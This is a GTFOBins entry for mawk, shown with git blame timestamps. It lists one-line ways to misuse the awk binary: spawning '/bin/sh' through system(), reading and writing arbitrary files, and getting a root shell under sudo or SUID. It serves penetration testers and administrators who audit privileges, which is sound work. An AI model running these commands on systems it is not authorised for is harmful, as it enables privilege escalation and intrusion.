GTFOBins.github.io/_gtfobins/mawk.md

22 lines
471 B
Markdown
Raw Normal View History

2019-08-30 15:10:25 +02:00
---
functions:
shell:
- code: mawk 'BEGIN {system("/bin/sh")}'
file-write:
- code: |
LFILE=file_to_write
mawk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
file-read:
- code: |
LFILE=file_to_read
mawk '//' "$LFILE"
2021-01-18 08:48:12 +01:00
suid:
- code: |
LFILE=file_to_read
./mawk '//' "$LFILE"
2019-08-30 15:10:25 +02:00
sudo:
- code: sudo mawk 'BEGIN {system("/bin/sh")}'
limited-suid:
- code: ./mawk 'BEGIN {system("/bin/sh")}'
---